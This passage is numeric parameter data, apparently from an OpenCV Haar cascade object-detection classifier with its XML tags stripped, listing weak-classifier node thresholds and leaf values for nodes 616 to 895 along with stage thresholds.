0 -1 616 7.8943502157926559e-03 + + 5.2695941925048828e-01 2.2690680623054504e-01 + <_> + + 0 -1 617 -4.3645310215651989e-03 + + 6.3592231273651123e-01 4.5379561185836792e-01 + <_> + + 0 -1 618 7.6793059706687927e-03 + + 5.2747678756713867e-01 2.7404838800430298e-01 + <_> + + 0 -1 619 -2.5431139394640923e-02 + + 2.0385199785232544e-01 5.0717329978942871e-01 + <_> + + 0 -1 620 8.2000601105391979e-04 + + 4.5874550938606262e-01 6.1198681592941284e-01 + <_> + + 0 -1 621 2.9284600168466568e-03 + + 5.0712740421295166e-01 2.0282049477100372e-01 + <_> + + 0 -1 622 4.5256470912136137e-05 + + 4.8121041059494019e-01 5.4308217763900757e-01 + <_> + + 0 -1 623 1.3158309739083052e-03 + + 4.6258139610290527e-01 6.7793232202529907e-01 + <_> + + 0 -1 624 1.5870389761403203e-03 + + 5.3862917423248291e-01 3.4314650297164917e-01 + <_> + + 0 -1 625 -2.1539660170674324e-02 + + 2.5942500680685043e-02 5.0032228231430054e-01 + <_> + + 0 -1 626 1.4334480278193951e-02 + + 5.2028447389602661e-01 1.5906329452991486e-01 + <_> + + 0 -1 627 -8.3881383761763573e-03 + + 7.2824811935424805e-01 4.6480441093444824e-01 + <_> + + 0 -1 628 9.1906841844320297e-03 + + 5.5623567104339600e-01 3.9231911301612854e-01 + <_> + + 0 -1 629 -5.8453059755265713e-03 + + 6.8033927679061890e-01 4.6291279792785645e-01 + <_> + + 0 -1 630 -5.4707799106836319e-02 + + 2.5616711378097534e-01 5.2061259746551514e-01 + <_> + + 0 -1 631 9.1142775490880013e-03 + + 5.1896202564239502e-01 3.0538770556449890e-01 + <_> + + 0 -1 632 -1.5575000084936619e-02 + + 1.2950749695301056e-01 5.1690948009490967e-01 + <_> + + 0 -1 633 -1.2050600344082341e-04 + + 5.7350981235504150e-01 4.2308250069618225e-01 + <_> + + 0 -1 634 1.2273970060050488e-03 + + 5.2898782491683960e-01 4.0797919034957886e-01 + <_> + + 0 -1 635 -1.2186600361019373e-03 + + 6.5756398439407349e-01 4.5744091272354126e-01 + <_> + + 0 -1 636 -3.3256649039685726e-03 + + 3.6280471086502075e-01 5.1950198411941528e-01 + <_> + + 0 -1 637 -1.3288309797644615e-02 + + 1.2842659652233124e-01 5.0434887409210205e-01 + <_> + + 0 -1 638 -3.3839771058410406e-03 + + 6.2922400236129761e-01 4.7575059533119202e-01 + <_> + + 0 -1 639 -2.1954220533370972e-01 + + 1.4877319335937500e-01 5.0650137662887573e-01 + <_> + + 0 -1 640 4.9111708067357540e-03 + + 4.2561021447181702e-01 5.6658387184143066e-01 + <_> + + 0 -1 641 -1.8744950648397207e-04 + + 4.0041440725326538e-01 5.5868571996688843e-01 + <_> + + 0 -1 642 -5.2178641781210899e-03 + + 6.0091161727905273e-01 4.8127061128616333e-01 + <_> + + 0 -1 643 -1.1111519997939467e-03 + + 3.5149338841438293e-01 5.2870899438858032e-01 + <_> + + 0 -1 644 4.4036400504410267e-03 + + 4.6422758698463440e-01 5.9240859746932983e-01 + <_> + + 0 -1 645 1.2299499660730362e-01 + + 5.0255292654037476e-01 6.9152481853961945e-02 + <_> + + 0 -1 646 -1.2313510291278362e-02 + + 5.8845919370651245e-01 4.9340128898620605e-01 + <_> + + 0 -1 647 4.1471039876341820e-03 + + 4.3722391128540039e-01 5.8934777975082397e-01 + <_> + + 0 -1 648 -3.5502649843692780e-03 + + 4.3275511264801025e-01 5.3962701559066772e-01 + <_> + + 0 -1 649 -1.9224269315600395e-02 + + 1.9131340086460114e-01 5.0683307647705078e-01 + <_> + + 0 -1 650 1.4395059552043676e-03 + + 5.3081780672073364e-01 4.2435330152511597e-01 + <_> + + 0 -1 651 -6.7751999013125896e-03 + + 6.3653957843780518e-01 4.5400860905647278e-01 + <_> + + 0 -1 652 7.0119630545377731e-03 + + 5.1898342370986938e-01 3.0261999368667603e-01 + <_> + + 0 -1 653 5.4014651104807854e-03 + + 5.1050621271133423e-01 2.5576829910278320e-01 + <_> + + 0 -1 654 9.0274988906458020e-04 + + 4.6969148516654968e-01 5.8618277311325073e-01 + <_> + + 0 -1 655 1.1474450118839741e-02 + + 5.0536459684371948e-01 1.5271779894828796e-01 + <_> + + 0 -1 656 -6.7023430019617081e-03 + + 6.5089809894561768e-01 4.8906040191650391e-01 + <_> + + 0 -1 657 -2.0462959073483944e-03 + + 6.2418168783187866e-01 4.5146000385284424e-01 + <_> + + 0 -1 658 -9.9951568990945816e-03 + + 3.4327811002731323e-01 5.4009538888931274e-01 + <_> + + 0 -1 659 -3.5700708627700806e-02 + + 1.8780590593814850e-01 5.0740778446197510e-01 + <_> + + 0 -1 660 4.5584561303257942e-04 + + 3.8052770495414734e-01 5.4025697708129883e-01 + <_> + + 0 -1 661 -5.4260600358247757e-02 + + 6.8437147140502930e-01 4.5950970053672791e-01 + <_> + + 0 -1 662 6.0600461438298225e-03 + + 5.5029052495956421e-01 4.5005279779434204e-01 + <_> + + 0 -1 663 -6.4791832119226456e-03 + + 3.3688580989837646e-01 5.3107571601867676e-01 + <_> + + 0 -1 664 -1.4939469983801246e-03 + + 6.4876401424407959e-01 4.7561758756637573e-01 + <_> + + 0 -1 665 1.4610530342906713e-05 + + 4.0345790982246399e-01 5.4510641098022461e-01 + <_> + + 0 -1 666 -7.2321938350796700e-03 + + 6.3868737220764160e-01 4.8247399926185608e-01 + <_> + + 0 -1 667 -4.0645818226039410e-03 + + 2.9864218831062317e-01 5.1573359966278076e-01 + <_> + + 0 -1 668 3.0463080853223801e-02 + + 5.0221997499465942e-01 7.1599560976028442e-01 + <_> + + 0 -1 669 -8.0544911324977875e-03 + + 6.4924520254135132e-01 4.6192750334739685e-01 + <_> + + 0 -1 670 3.9505138993263245e-02 + + 5.1505708694458008e-01 2.4506139755249023e-01 + <_> + + 0 -1 671 8.4530208259820938e-03 + + 4.5736691355705261e-01 6.3940370082855225e-01 + <_> + + 0 -1 672 -1.1688120430335402e-03 + + 3.8655120134353638e-01 5.4836612939834595e-01 + <_> + + 0 -1 673 2.8070670086890459e-03 + + 5.1285791397094727e-01 2.7014800906181335e-01 + <_> + + 0 -1 674 4.7365209320560098e-04 + + 4.0515819191932678e-01 5.3874611854553223e-01 + <_> + + 0 -1 675 1.1741080321371555e-02 + + 5.2959501743316650e-01 3.7194138765335083e-01 + <_> + + 0 -1 676 3.1833238899707794e-03 + + 4.7894069552421570e-01 6.8951261043548584e-01 + <_> + + 0 -1 677 7.0241501089185476e-04 + + 5.3844892978668213e-01 3.9180809259414673e-01 + <_> + 102 + 5.0169731140136719e+01 + + <_> + + 0 -1 678 1.7059929668903351e-02 + + 3.9485278725624084e-01 7.1425348520278931e-01 + <_> + + 0 -1 679 2.1840840578079224e-02 + + 3.3703160285949707e-01 6.0900169610977173e-01 + <_> + + 0 -1 680 2.4520049919374287e-04 + + 3.5005760192871094e-01 5.9879022836685181e-01 + <_> + + 0 -1 681 8.3272606134414673e-03 + + 3.2675281167030334e-01 5.6972408294677734e-01 + <_> + + 0 -1 682 5.7148298947140574e-04 + + 3.0445998907089233e-01 5.5316567420959473e-01 + <_> + + 0 -1 683 6.7373987985774875e-04 + + 3.6500120162963867e-01 5.6726312637329102e-01 + <_> + + 0 -1 684 3.4681590477703139e-05 + + 3.3135411143302917e-01 5.3887271881103516e-01 + <_> + + 0 -1 685 -5.8563398197293282e-03 + + 2.6979428529739380e-01 5.4987788200378418e-01 + <_> + + 0 -1 686 8.5102273151278496e-03 + + 5.2693581581115723e-01 2.7628791332244873e-01 + <_> + + 0 -1 687 -6.9817207753658295e-02 + + 2.9096031188964844e-01 5.2592468261718750e-01 + <_> + + 0 -1 688 -8.6113670840859413e-04 + + 5.8925771713256836e-01 4.0736979246139526e-01 + <_> + + 0 -1 689 9.7149249631911516e-04 + + 3.5235640406608582e-01 5.4158622026443481e-01 + <_> + + 0 -1 690 -1.4727490452060010e-05 + + 5.4230177402496338e-01 3.5031560063362122e-01 + <_> + + 0 -1 691 4.8420291393995285e-02 + + 5.1939457654953003e-01 3.4111958742141724e-01 + <_> + + 0 -1 692 1.3257140526548028e-03 + + 3.1577691435813904e-01 5.3353762626647949e-01 + <_> + + 0 -1 693 1.4922149603080470e-05 + + 4.4512999057769775e-01 5.5365538597106934e-01 + <_> + + 0 -1 694 -2.7173398993909359e-03 + + 3.0317419767379761e-01 5.2480888366699219e-01 + <_> + + 0 -1 695 2.9219500720500946e-03 + + 4.7814530134201050e-01 6.6060417890548706e-01 + <_> + + 0 -1 696 -1.9804988987743855e-03 + + 3.1863081455230713e-01 5.2876251935958862e-01 + <_> + + 0 -1 697 -4.0012109093368053e-03 + + 6.4135968685150146e-01 4.7499281167984009e-01 + <_> + + 0 -1 698 -4.3491991236805916e-03 + + 1.5074980258941650e-01 5.0989967584609985e-01 + <_> + + 0 -1 699 1.3490889687091112e-03 + + 4.3161588907241821e-01 5.8811670541763306e-01 + <_> + + 0 -1 700 1.8597070127725601e-02 + + 4.7355538606643677e-01 9.0897941589355469e-01 + <_> + + 0 -1 701 -1.8562379991635680e-03 + + 3.5531890392303467e-01 5.5778372287750244e-01 + <_> + + 0 -1 702 2.2940430790185928e-03 + + 4.5000949501991272e-01 6.5808779001235962e-01 + <_> + + 0 -1 703 2.9982850537635386e-04 + + 5.6292420625686646e-01 3.9758789539337158e-01 + <_> + + 0 -1 704 3.5455459728837013e-03 + + 5.3815472126007080e-01 3.6054858565330505e-01 + <_> + + 0 -1 705 9.6104722470045090e-03 + + 5.2559971809387207e-01 1.7967459559440613e-01 + <_> + + 0 -1 706 -6.2783220782876015e-03 + + 2.2728569805622101e-01 5.1140302419662476e-01 + <_> + + 0 -1 707 3.4598479978740215e-03 + + 4.6263080835342407e-01 6.6082191467285156e-01 + <_> + + 0 -1 708 -1.3112019514665008e-03 + + 6.3175398111343384e-01 4.4368579983711243e-01 + <_> + + 0 -1 709 2.6876179035753012e-03 + + 5.4211097955703735e-01 4.0540221333503723e-01 + <_> + + 0 -1 710 3.9118169806897640e-03 + + 5.3584778308868408e-01 3.2734549045562744e-01 + <_> + + 0 -1 711 -1.4206450432538986e-02 + + 7.7935767173767090e-01 4.9757811427116394e-01 + <_> + + 0 -1 712 7.1705528534948826e-04 + + 5.2973198890686035e-01 3.5609039664268494e-01 + <_> + + 0 -1 713 1.6635019565001130e-03 + + 4.6780940890312195e-01 5.8164817094802856e-01 + <_> + + 0 -1 714 3.3686188980937004e-03 + + 5.2767342329025269e-01 3.4464201331138611e-01 + <_> + + 0 -1 715 1.2799530290067196e-02 + + 4.8346799612045288e-01 7.4721592664718628e-01 + <_> + + 0 -1 716 3.3901201095432043e-03 + + 4.5118591189384460e-01 6.4017212390899658e-01 + <_> + + 0 -1 717 4.7070779837667942e-03 + + 5.3356587886810303e-01 3.5552209615707397e-01 + <_> + + 0 -1 718 1.4819339849054813e-03 + + 4.2507070302963257e-01 5.7727241516113281e-01 + <_> + + 0 -1 719 -6.9995759986341000e-03 + + 3.0033200979232788e-01 5.2929002046585083e-01 + <_> + + 0 -1 720 1.5939010307192802e-02 + + 5.0673192739486694e-01 1.6755819320678711e-01 + <_> + + 0 -1 721 7.6377349905669689e-03 + + 4.7950699925422668e-01 7.0856010913848877e-01 + <_> + + 0 -1 722 6.7334040068089962e-03 + + 5.1331132650375366e-01 2.1624700725078583e-01 + <_> + + 0 -1 723 -1.2858809903264046e-02 + + 1.9388419389724731e-01 5.2513718605041504e-01 + <_> + + 0 -1 724 -6.2270800117403269e-04 + + 5.6865382194519043e-01 4.1978681087493896e-01 + <_> + + 0 -1 725 -5.2651681471616030e-04 + + 4.2241689562797546e-01 5.4296958446502686e-01 + <_> + + 0 -1 726 1.1075099930167198e-02 + + 5.1137751340866089e-01 2.5145179033279419e-01 + <_> + + 0 -1 727 -3.6728251725435257e-02 + + 7.1946620941162109e-01 4.8496189713478088e-01 + <_> + + 0 -1 728 -2.8207109426148236e-04 + + 3.8402619957923889e-01 5.3944462537765503e-01 + <_> + + 0 -1 729 -2.7489690110087395e-03 + + 5.9370887279510498e-01 4.5691820979118347e-01 + <_> + + 0 -1 730 1.0047519579529762e-02 + + 5.1385760307312012e-01 2.8022980690002441e-01 + <_> + + 0 -1 731 -8.1497840583324432e-03 + + 6.0900372266769409e-01 4.6361210942268372e-01 + <_> + + 0 -1 732 -6.8833888508379459e-03 + + 3.4586110711097717e-01 5.2546602487564087e-01 + <_> + + 0 -1 733 -1.4039360394235700e-05 + + 5.6931042671203613e-01 4.0820831060409546e-01 + <_> + + 0 -1 734 1.5498419525101781e-03 + + 4.3505370616912842e-01 5.8065170049667358e-01 + <_> + + 0 -1 735 -6.7841499112546444e-03 + + 1.4688730239868164e-01 5.1827752590179443e-01 + <_> + + 0 -1 736 2.1705629478674382e-04 + + 5.2935242652893066e-01 3.4561741352081299e-01 + <_> + + 0 -1 737 3.1198898795992136e-04 + + 4.6524509787559509e-01 5.9424138069152832e-01 + <_> + + 0 -1 738 5.4507530294358730e-03 + + 4.6535089612007141e-01 7.0248460769653320e-01 + <_> + + 0 -1 739 -2.5818689027801156e-04 + + 5.4972952604293823e-01 3.7689670920372009e-01 + <_> + + 0 -1 740 -1.7442539334297180e-02 + + 3.9190879464149475e-01 5.4574978351593018e-01 + <_> + + 0 -1 741 -4.5343529433012009e-02 + + 1.6313570737838745e-01 5.1549088954925537e-01 + <_> + + 0 -1 742 1.9190689781680703e-03 + + 5.1458978652954102e-01 2.7918958663940430e-01 + <_> + + 0 -1 743 -6.0177869163453579e-03 + + 6.5176361799240112e-01 4.7563329339027405e-01 + <_> + + 0 -1 744 -4.0720738470554352e-03 + + 5.5146527290344238e-01 4.0926858782768250e-01 + <_> + + 0 -1 745 3.9855059003457427e-04 + + 3.1652408838272095e-01 5.2855509519577026e-01 + <_> + + 0 -1 746 -6.5418570302426815e-03 + + 6.8533778190612793e-01 4.6528089046478271e-01 + <_> + + 0 -1 747 3.4845089539885521e-03 + + 5.4845881462097168e-01 4.5027598738670349e-01 + <_> + + 0 -1 748 -1.3696780428290367e-02 + + 6.3957798480987549e-01 4.5725551247596741e-01 + <_> + + 0 -1 749 -1.7347140237689018e-02 + + 2.7510729432106018e-01 5.1816147565841675e-01 + <_> + + 0 -1 750 -4.0885428898036480e-03 + + 3.3256360888481140e-01 5.1949840784072876e-01 + <_> + + 0 -1 751 -9.4687901437282562e-03 + + 5.9422808885574341e-01 4.8518198728561401e-01 + <_> + + 0 -1 752 1.7084840219467878e-03 + + 4.1671109199523926e-01 5.5198061466217041e-01 + <_> + + 0 -1 753 9.4809094443917274e-03 + + 5.4338949918746948e-01 4.2085149884223938e-01 + <_> + + 0 -1 754 -4.7389650717377663e-03 + + 6.4071899652481079e-01 4.5606550574302673e-01 + <_> + + 0 -1 755 6.5761050209403038e-03 + + 5.2145552635192871e-01 2.2582270205020905e-01 + <_> + + 0 -1 756 -2.1690549328923225e-03 + + 3.1515279412269592e-01 5.1567047834396362e-01 + <_> + + 0 -1 757 1.4660170301795006e-02 + + 4.8708370327949524e-01 6.6899412870407104e-01 + <_> + + 0 -1 758 1.7231999663636088e-04 + + 3.5697489976882935e-01 5.2510780096054077e-01 + <_> + + 0 -1 759 -2.1803760901093483e-02 + + 8.8259208202362061e-01 4.9663299322128296e-01 + <_> + + 0 -1 760 -9.4736106693744659e-02 + + 1.4461620151996613e-01 5.0611138343811035e-01 + <_> + + 0 -1 761 5.5825551971793175e-03 + + 5.3964787721633911e-01 4.2380660772323608e-01 + <_> + + 0 -1 762 1.9517090404406190e-03 + + 4.1704109311103821e-01 5.4977869987487793e-01 + <_> + + 0 -1 763 1.2149900197982788e-02 + + 4.6983671188354492e-01 5.6642740964889526e-01 + <_> + + 0 -1 764 -7.5169620104134083e-03 + + 6.2677729129791260e-01 4.4631358981132507e-01 + <_> + + 0 -1 765 -7.1667909622192383e-02 + + 3.0970111489295959e-01 5.2210032939910889e-01 + <_> + + 0 -1 766 -8.8292419910430908e-02 + + 8.1123888492584229e-02 5.0063651800155640e-01 + <_> + + 0 -1 767 3.1063079833984375e-02 + + 5.1555037498474121e-01 1.2822559475898743e-01 + <_> + + 0 -1 768 4.6621840447187424e-02 + + 4.6997779607772827e-01 7.3639607429504395e-01 + <_> + + 0 -1 769 -1.2189489789307117e-02 + + 3.9205300807952881e-01 5.5189967155456543e-01 + <_> + + 0 -1 770 1.3016110286116600e-02 + + 5.2606582641601562e-01 3.6851361393928528e-01 + <_> + + 0 -1 771 -3.4952899441123009e-03 + + 6.3392949104309082e-01 4.7162809967994690e-01 + <_> + + 0 -1 772 -4.4015039748046547e-05 + + 5.3330272436141968e-01 3.7761849164962769e-01 + <_> + + 0 -1 773 -1.0966490209102631e-01 + + 1.7653420567512512e-01 5.1983469724655151e-01 + <_> + + 0 -1 774 -9.0279558207839727e-04 + + 5.3241598606109619e-01 3.8389080762863159e-01 + <_> + + 0 -1 775 7.1126641705632210e-04 + + 4.6479299664497375e-01 5.7552242279052734e-01 + <_> + + 0 -1 776 -3.1250279862433672e-03 + + 3.2367089390754700e-01 5.1667708158493042e-01 + <_> + + 0 -1 777 2.4144679773598909e-03 + + 4.7874391078948975e-01 6.4597177505493164e-01 + <_> + + 0 -1 778 4.4391240226104856e-04 + + 4.4093081355094910e-01 6.0102558135986328e-01 + <_> + + 0 -1 779 -2.2611189342569560e-04 + + 4.0381139516830444e-01 5.4932558536529541e-01 + <_> + 135 + 6.6669120788574219e+01 + + <_> + + 0 -1 780 -4.6901289373636246e-02 + + 6.6001719236373901e-01 3.7438011169433594e-01 + <_> + + 0 -1 781 -1.4568349579349160e-03 + + 5.7839912176132202e-01 3.4377971291542053e-01 + <_> + + 0 -1 782 5.5598369799554348e-03 + + 3.6222669482231140e-01 5.9082162380218506e-01 + <_> + + 0 -1 783 7.3170487303286791e-04 + + 5.5004191398620605e-01 2.8735581040382385e-01 + <_> + + 0 -1 784 1.3318009441718459e-03 + + 2.6731699705123901e-01 5.4310190677642822e-01 + <_> + + 0 -1 785 2.4347059661522508e-04 + + 3.8550278544425964e-01 5.7413887977600098e-01 + <_> + + 0 -1 786 -3.0512469820678234e-03 + + 5.5032098293304443e-01 3.4628450870513916e-01 + <_> + + 0 -1 787 -6.8657199153676629e-04 + + 3.2912218570709229e-01 5.4295092821121216e-01 + <_> + + 0 -1 788 1.4668200165033340e-03 + + 3.5883820056915283e-01 5.3518110513687134e-01 + <_> + + 0 -1 789 3.2021870720200241e-04 + + 4.2968419194221497e-01 5.7002341747283936e-01 + <_> + + 0 -1 790 7.4122188379988074e-04 + + 5.2821648120880127e-01 3.3668708801269531e-01 + <_> + + 0 -1 791 3.8330298848450184e-03 + + 4.5595678687095642e-01 6.2573361396789551e-01 + <_> + + 0 -1 792 -1.5456439927220345e-02 + + 2.3501169681549072e-01 5.1294529438018799e-01 + <_> + + 0 -1 793 2.6796779129654169e-03 + + 5.3294152021408081e-01 4.1550621390342712e-01 + <_> + + 0 -1 794 2.8296569362282753e-03 + + 4.2730879783630371e-01 5.8045381307601929e-01 + <_> + + 0 -1 795 -3.9444249123334885e-03 + + 2.9126119613647461e-01 5.2026861906051636e-01 + <_> + + 0 -1 796 2.7179559692740440e-03 + + 5.3076881170272827e-01 3.5856771469116211e-01 + <_> + + 0 -1 797 5.9077627956867218e-03 + + 4.7037750482559204e-01 5.9415858983993530e-01 + <_> + + 0 -1 798 -4.2240349575877190e-03 + + 2.1415670216083527e-01 5.0887960195541382e-01 + <_> + + 0 -1 799 4.0725888684391975e-03 + + 4.7664138674736023e-01 6.8410611152648926e-01 + <_> + + 0 -1 800 1.0149530135095119e-02 + + 5.3607988357543945e-01 3.7484970688819885e-01 + <_> + + 0 -1 801 -1.8864999583456665e-04 + + 5.7201302051544189e-01 3.8538050651550293e-01 + <_> + + 0 -1 802 -4.8864358104765415e-03 + + 3.6931228637695312e-01 5.3409588336944580e-01 + <_> + + 0 -1 803 2.6158479973673820e-02 + + 4.9623748660087585e-01 6.0599899291992188e-01 + <_> + + 0 -1 804 4.8560759751126170e-04 + + 4.4389459490776062e-01 6.0124689340591431e-01 + <_> + + 0 -1 805 1.1268709786236286e-02 + + 5.2442502975463867e-01 1.8403880298137665e-01 + <_> + + 0 -1 806 -2.8114619199186563e-03 + + 6.0602837800979614e-01 4.4098970293998718e-01 + <_> + + 0 -1 807 -5.6112729944288731e-03 + + 3.8911709189414978e-01 5.5892372131347656e-01 + <_> + + 0 -1 808 8.5680093616247177e-03 + + 5.0693458318710327e-01 2.0626190304756165e-01 + <_> + + 0 -1 809 -3.8172779022715986e-04 + + 5.8822017908096313e-01 4.1926109790802002e-01 + <_> + + 0 -1 810 -1.7680290329735726e-04 + + 5.5336058139801025e-01 4.0033689141273499e-01 + <_> + + 0 -1 811 6.5112537704408169e-03 + + 3.3101469278335571e-01 5.4441910982131958e-01 + <_> + + 0 -1 812 -6.5948683186434209e-05 + + 5.4338318109512329e-01 3.9449059963226318e-01 + <_> + + 0 -1 813 6.9939051754772663e-03 + + 5.6003582477569580e-01 4.1927140951156616e-01 + <_> + + 0 -1 814 -4.6744439750909805e-03 + + 6.6854667663574219e-01 4.6049609780311584e-01 + <_> + + 0 -1 815 1.1589850299060345e-02 + + 5.3571212291717529e-01 2.9268300533294678e-01 + <_> + + 0 -1 816 1.3007840141654015e-02 + + 4.6798178553581238e-01 7.3074632883071899e-01 + <_> + + 0 -1 817 -1.1008579749614000e-03 + + 3.9375010132789612e-01 5.4150652885437012e-01 + <_> + + 0 -1 818 6.0472649056464434e-04 + + 4.2423760890960693e-01 5.6040412187576294e-01 + <_> + + 0 -1 819 -1.4494840055704117e-02 + + 3.6312100291252136e-01 5.2931827306747437e-01 + <_> + + 0 -1 820 -5.3056948818266392e-03 + + 6.8604522943496704e-01 4.6218210458755493e-01 + <_> + + 0 -1 821 -8.1829127157106996e-04 + + 3.9440968632698059e-01 5.4204392433166504e-01 + <_> + + 0 -1 822 -1.9077520817518234e-02 + + 1.9626219570636749e-01 5.0378918647766113e-01 + <_> + + 0 -1 823 3.5549470339901745e-04 + + 4.0862590074539185e-01 5.6139731407165527e-01 + <_> + + 0 -1 824 1.9679730758070946e-03 + + 4.4891211390495300e-01 5.9261232614517212e-01 + <_> + + 0 -1 825 6.9189141504466534e-03 + + 5.3359258174896240e-01 3.7283858656883240e-01 + <_> + + 0 -1 826 2.9872779268771410e-03 + + 5.1113212108612061e-01 2.9756438732147217e-01 + <_> + + 0 -1 827 -6.2264618463814259e-03 + + 5.5414897203445435e-01 4.8245379328727722e-01 + <_> + + 0 -1 828 1.3353300280869007e-02 + + 4.5864239335060120e-01 6.4147979021072388e-01 + <_> + + 0 -1 829 3.3505238592624664e-02 + + 5.3924250602722168e-01 3.4299948811531067e-01 + <_> + + 0 -1 830 -2.5294460356235504e-03 + + 1.7037139832973480e-01 5.0133150815963745e-01 + <_> + + 0 -1 831 -1.2801629491150379e-03 + + 5.3054618835449219e-01 4.6974050998687744e-01 + <_> + + 0 -1 832 7.0687388069927692e-03 + + 4.6155458688735962e-01 6.4365047216415405e-01 + <_> + + 0 -1 833 9.6880499040707946e-04 + + 4.8335990309715271e-01 6.0438942909240723e-01 + <_> + + 0 -1 834 3.9647659286856651e-03 + + 5.1876372098922729e-01 3.2318168878555298e-01 + <_> + + 0 -1 835 -2.2057730704545975e-02 + + 4.0792569518089294e-01 5.2009809017181396e-01 + <_> + + 0 -1 836 -6.6906312713399529e-04 + + 5.3316092491149902e-01 3.8156008720397949e-01 + <_> + + 0 -1 837 -6.7009328631684184e-04 + + 5.6554222106933594e-01 4.6889019012451172e-01 + <_> + + 0 -1 838 7.4284552829340100e-04 + + 4.5343810319900513e-01 6.2874001264572144e-01 + <_> + + 0 -1 839 2.2227810695767403e-03 + + 5.3506332635879517e-01 3.3036559820175171e-01 + <_> + + 0 -1 840 -5.4130521602928638e-03 + + 1.1136870086193085e-01 5.0054347515106201e-01 + <_> + + 0 -1 841 -1.4520040167553816e-05 + + 5.6287378072738647e-01 4.3251338601112366e-01 + <_> + + 0 -1 842 2.3369169502984732e-04 + + 4.1658350825309753e-01 5.4477912187576294e-01 + <_> + + 0 -1 843 4.2894547805190086e-03 + + 4.8603910207748413e-01 6.7786490917205811e-01 + <_> + + 0 -1 844 5.9103150852024555e-03 + + 5.2623051404953003e-01 3.6121138930320740e-01 + <_> + + 0 -1 845 1.2900539673864841e-02 + + 5.3193771839141846e-01 3.2502880692481995e-01 + <_> + + 0 -1 846 4.6982979401946068e-03 + + 4.6182450652122498e-01 6.6659259796142578e-01 + <_> + + 0 -1 847 1.0439859703183174e-02 + + 5.5056709051132202e-01 3.8836041092872620e-01 + <_> + + 0 -1 848 3.0443191062659025e-03 + + 4.6978530287742615e-01 7.3018449544906616e-01 + <_> + + 0 -1 849 -6.1593751888722181e-04 + + 3.8308390974998474e-01 5.4649841785430908e-01 + <_> + + 0 -1 850 -3.4247159492224455e-03 + + 2.5663000345230103e-01 5.0895309448242188e-01 + <_> + + 0 -1 851 -9.3538565561175346e-03 + + 6.4699661731719971e-01 4.9407958984375000e-01 + <_> + + 0 -1 852 5.2338998764753342e-02 + + 4.7459828853607178e-01 7.8787708282470703e-01 + <_> + + 0 -1 853 3.5765620414167643e-03 + + 5.3066647052764893e-01 2.7484980225563049e-01 + <_> + + 0 -1 854 7.1555317845195532e-04 + + 5.4131257534027100e-01 4.0419089794158936e-01 + <_> + + 0 -1 855 -1.0516679845750332e-02 + + 6.1585122346878052e-01 4.8152831196784973e-01 + <_> + + 0 -1 856 7.7347927726805210e-03 + + 4.6958059072494507e-01 7.0289808511734009e-01 + <_> + + 0 -1 857 -4.3226778507232666e-03 + + 2.8495660424232483e-01 5.3046840429306030e-01 + <_> + + 0 -1 858 -2.5534399319440126e-03 + + 7.0569849014282227e-01 4.6888920664787292e-01 + <_> + + 0 -1 859 1.0268510231981054e-04 + + 3.9029321074485779e-01 5.5734640359878540e-01 + <_> + + 0 -1 860 7.1395188570022583e-06 + + 3.6842319369316101e-01 5.2639877796173096e-01 + <_> + + 0 -1 861 -1.6711989883333445e-03 + + 3.8491758704185486e-01 5.3872710466384888e-01 + <_> + + 0 -1 862 4.9260449595749378e-03 + + 4.7297719120979309e-01 7.4472510814666748e-01 + <_> + + 0 -1 863 4.3908702209591866e-03 + + 4.8091810941696167e-01 5.5919218063354492e-01 + <_> + + 0 -1 864 -1.7793629318475723e-02 + + 6.9036781787872314e-01 4.6769270300865173e-01 + <_> + + 0 -1 865 2.0469669252634048e-03 + + 5.3706902265548706e-01 3.3081620931625366e-01 + <_> + + 0 -1 866 2.9891489073634148e-02 + + 5.1398652791976929e-01 3.3090591430664062e-01 + <_> + + 0 -1 867 1.5494900289922953e-03 + + 4.6602371335029602e-01 6.0783427953720093e-01 + <_> + + 0 -1 868 1.4956969534978271e-03 + + 4.4048359990119934e-01 5.8639198541641235e-01 + <_> + + 0 -1 869 9.5885928021743894e-04 + + 5.4359710216522217e-01 4.2085230350494385e-01 + <_> + + 0 -1 870 4.9643701640889049e-04 + + 5.3705781698226929e-01 4.0006220340728760e-01 + <_> + + 0 -1 871 -2.7280810754746199e-03 + + 5.6594127416610718e-01 4.2596429586410522e-01 + <_> + + 0 -1 872 2.3026480339467525e-03 + + 5.1616579294204712e-01 3.3508691191673279e-01 + <_> + + 0 -1 873 2.5151631236076355e-01 + + 4.8696619272232056e-01 7.1473097801208496e-01 + <_> + + 0 -1 874 -4.6328022144734859e-03 + + 2.7274489402770996e-01 5.0837898254394531e-01 + <_> + + 0 -1 875 -4.0434490889310837e-02 + + 6.8514388799667358e-01 5.0217670202255249e-01 + <_> + + 0 -1 876 1.4972220014897175e-05 + + 4.2844650149345398e-01 5.5225551128387451e-01 + <_> + + 0 -1 877 -2.4050309730228037e-04 + + 4.2261189222335815e-01 5.3900748491287231e-01 + <_> + + 0 -1 878 2.3657839745283127e-02 + + 4.7446319460868835e-01 7.5043660402297974e-01 + <_> + + 0 -1 879 -8.1449104472994804e-03 + + 4.2450588941574097e-01 5.5383628606796265e-01 + <_> + + 0 -1 880 -3.6992130335420370e-03 + + 5.9523570537567139e-01 4.5297130942344666e-01 + <_> + + 0 -1 881 -6.7718601785600185e-03 + + 4.1377940773963928e-01 5.4733997583389282e-01 + <_> + + 0 -1 882 4.2669530957937241e-03 + + 4.4841149449348450e-01 5.7979941368103027e-01 + <_> + + 0 -1 883 1.7791989957913756e-03 + + 5.6248587369918823e-01 4.4324448704719543e-01 + <_> + + 0 -1 884 1.6774770338088274e-03 + + 4.6377518773078918e-01 6.3642418384552002e-01 + <_> + + 0 -1 885 1.1732629500329494e-03 + + 4.5445030927658081e-01 5.9144157171249390e-01 + <_> + + 0 -1 886 8.6998171173036098e-04 + + 5.3347527980804443e-01 3.8859179615974426e-01 + <_> + + 0 -1 887 7.6378340600058436e-04 + + 5.3985852003097534e-01 3.7449419498443604e-01 + <_> + + 0 -1 888 1.5684569370932877e-04 + + 4.3178731203079224e-01 5.6146162748336792e-01 + <_> + + 0 -1 889 -2.1511370316147804e-02 + + 1.7859250307083130e-01 5.1855427026748657e-01 + <_> + + 0 -1 890 1.3081369979772717e-04 + + 4.3424990773200989e-01 5.6828498840332031e-01 + <_> + + 0 -1 891 2.1992040798068047e-02 + + 5.1617169380187988e-01 2.3793940246105194e-01 + <_> + + 0 -1 892 -8.0136500764638186e-04 + + 5.9867632389068604e-01 4.4664269685745239e-01 + <_> + + 0 -1 893 -8.2736099138855934e-03 + + 4.1082179546356201e-01 5.2510571479797363e-01 + <_> + + 0 -1 894 3.6831789184361696e-03 + + 5.1738142967224121e-01 3.3975180983543396e-01 + <_> + + 0 -1 895 -7.9525681212544441e-03 + + 6.8889832496643066e-01 